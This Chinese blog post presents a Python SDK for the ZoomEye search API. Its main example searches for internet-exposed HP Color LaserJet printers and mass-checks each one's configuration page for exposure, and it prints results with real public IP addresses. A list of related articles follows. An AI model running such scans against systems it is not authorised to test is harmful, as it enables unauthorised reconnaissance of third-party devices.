版权声明:未经作者授权,禁止转载!

ZoomEye想必大家都很熟悉,自从官方开放了API,网上各种版本的SDK乱飞。今天我也来发一个自己写的。

首先我们从https://github.com/SEC08/ZoomEye-API-SDK下载以后,解压以后我们直接运行python setup.py install来安装这个模块。这个过程类似大家安装Python的其他模块,比如说常见的requests.这里不多介绍了。等待安装完成以后,我们就可以来调用了。

利用SDK登录ZoomEye:

#!/usr/bin/env python
# -*-coding:utf-8 -*- import sys
import requests
import zoomeye.zoomeye as zoomeye test = zoomeye.zoomeye() username = 'your main@qq.com'
password = 'your zoomeye account password' token = test.logIn(username, password)

接着我们调用了脚本中的搜索方法,搜索的query可以参考官方给出的使用说明。。

#!/usr/bin/env python
# -*-coding:utf-8 -*- import sys
import requests
import zoomeye.zoomeye as zoomeye test = zoomeye.zoomeye() username = 'your main@qq.com'
password = 'your ZoomEye account password' token = test.logIn(username, password) result = test.search('web',query='HP Color LaserJet',page=1,facets='app,os') print result

返回数据是json的格式,官方文档中有详细的说明,这里我大致做了处理。

#!/usr/bin/env python
# -*-coding:utf-8 -*- import sys
import requests
import zoomeye.zoomeye as zoomeye test = zoomeye.zoomeye() username = 'your main@qq.com'
password = 'your ZoomEye account password' token = test.logIn(username, password) result = test.search('web',query='HP Color LaserJet',page=1,facets='app,os') target = [] for i in result:
for x in i['matches']:
print x['ip']
target.append(x['ip'][0]) for ip in target:
try:
payload = '/hp/device/InternalPages/Index?id=ConfigurationPage'
url = 'http://' + ip + payload
res_exp = requests.get(url)
print '[-]checking url %s' % url
if res_exp.status_code == 200 and 'HomeDeviceName' in res_exp.content and 'HomeDeviceIp' in res_exp.content:
print '[+]%s is vul' % url
elif res_exp.status_code != 200:
print '[+]%s is static' % url
else:
pass except Exception, e:
pass

 然后结果是这样的:

[-]checking url http://192.185.150.112/hp/device/InternalPages/Index?id=ConfigurationPage
[-]checking url http://140.118.123.43/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://140.118.123.43/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://31.160.189.69/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://31.160.189.69/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://129.89.57.148/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://129.89.57.148/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://170.210.3.40/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://170.210.3.40/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://74.208.41.246/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://74.208.41.246/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://140.112.57.144/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://140.112.57.144/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://67.63.41.136/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://67.63.41.136/hp/device/InternalPages/Index?id=ConfigurationPage is static

这样是大致的演示过程,还有诸多的不足。这里想说的是,这是一个不错的漏扫模式,国内好多的安全厂商也都开始构建类似这样的工具。另外大家可以发挥自己的想象力和创造力。更快速的去挖到更多的漏洞。

Python 实现 ZoomEye API SDK的更多相关文章

  1. 『Python』Python 调用 ZoomEye API 批量获取目标网站IP

    #### 20160712 更新 原API的访问方式是以 HTTP 的方式访问的,根据官网最新文档,现在已经修改成 HTTPS 方式,测试可以正常使用API了. 0x 00 前言 ZoomEye 的 ...

  2. 从ZoomEye API 到 Weblogic 弱口令扫描

    参考资料: ZoomEye API: https://www.zoomeye.org/api/doc Weblogic-Weakpassword-Scnner: https://github.com/ ...

  3. 使用Python结合Face++ API识别人脸

    Face++是北京旷视科技旗下的视觉服务平台,可以进行人脸识别.检测等功能.其人脸识别技术据悉在目前准确率较高,其API非常友好,免费使用,功能众多,而且调用几乎没有限制.这里我使用了Python调用 ...

  4. 调用ZoomEye API获取信息

    最近在提高自己编程能力,拿一些实用的小工具练下.该脚本为python语言,主要涉及模块urllib,json,os模块. 功能:调用ZoomEye API获取信息 import urllib.requ ...

  5. 使用Python调用Flickr API抓取图片数据

    Flickr是雅虎旗下的图片分享网站,上面有全世界网友分享的大量精彩图片,被认为是专业的图片网站.其API也很友好,可以实现多种功能.这里我使用了Python调用其API获得了大量的照片数据.需要注意 ...

  6. 使用python+pychram进行API测试(接口测试)初级STEP 1

    花了一天时间安装了解了下最基本的python+pychram进行API测试,下面这个可以指导自己以后入门:基本的开发级别还需要学习 1.python下载地址:https://www.python.or ...

  7. WEB自动化(Python+selenium)的API

    在做Web自动化过程中,汇总了Python+selenium的API相关方法,给公司里的同事做了第二次培训,分享给大家                                         ...

  8. 使用sphinx快速为你python注释生成API文档

    sphinx简介sphinx是一种基于Python的文档工具,它可以令人轻松的撰写出清晰且优美的文档,由Georg Brandl在BSD许可证下开发.新版的Python3文档就是由sphinx生成的, ...

  9. 基于python调用libvirt API

    基于python调用libvirt API 1.程序代码 #!/usr/bin/python import libvirt import sys def createConnection(): con ...

随机推荐

  1. SVN常见问题及解决方式(二)

    1.分支不同 ==> update merge(svn自动合并)2.分支冲突 ==> 协商解决冲突,选择一个正确的版本覆盖(最新的正确直接Revert最新):出现四个文件.黄色感叹号代表S ...

  2. html页面源代码

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...

  3. HDU 6034 Balala Power! (贪心+坑题)

    题意:给定一个 n 个字符串,然后问你怎么给 a-z赋值0-25,使得给定的字符串看成26进制得到的和最大,并且不能出现前导0. 析:一个很恶心的题目,细节有点多,首先是思路,给定个字符一个权值,然后 ...

  4. HTTP Debugger Pro安装教程

    相关链接:HTTP Debugger Pro使用教程 安装步骤:   1.解压压缩包   2.双击运行安装文件   3.根据向导提示点击Next   4.选择接受协议,点击Next   5.选择高级模 ...

  5. 关于在datepicker中,只选年月

    有这么个需求,datepicker默认是选某个具体的日子的,但是现在只选到年月为止, solution: html如下: <div> <label for="startDa ...

  6. 图的遍历——DFS

    原创 图的遍历有DFS和BFS两种,现选用DFS遍历图. 存储图用邻接矩阵,图有v个顶点,e条边,邻接矩阵就是一个VxV的矩阵: 若顶点1和顶点5之间有连线,则矩阵元素[1,5]置1,若是无向图[5, ...

  7. 一步之遥——第七届蓝桥杯C语言B组(国赛)第一题

    原创 一步之遥 从昏迷中醒来,小明发现自己被关在X星球的废矿车里.矿车停在平直的废弃的轨道上.他的面前是两个按钮,分别写着“F”和“B”. 小明突然记起来,这两个按钮可以控制矿车在轨道上前进和后退.按 ...

  8. How do I create a .pyc file?

    Python automatically compiles your script to compiled code, so called byte code, before running it. ...

  9. Newtonsoft.Json.Linq

    var json = "{\"name\":\"ok1\",\"sex\":\"man\"}"; / ...

  10. hbuilder h5 原生socket

    在网上搜索了很多资料都不行,要么就是不能发送数据,要么就不能接收数据,使用如下的方法可以接收数据,一个一个字节接收: 有部分限制是需要明确知道要接收多少个字节,否则容易出现接收异常.. var tes ...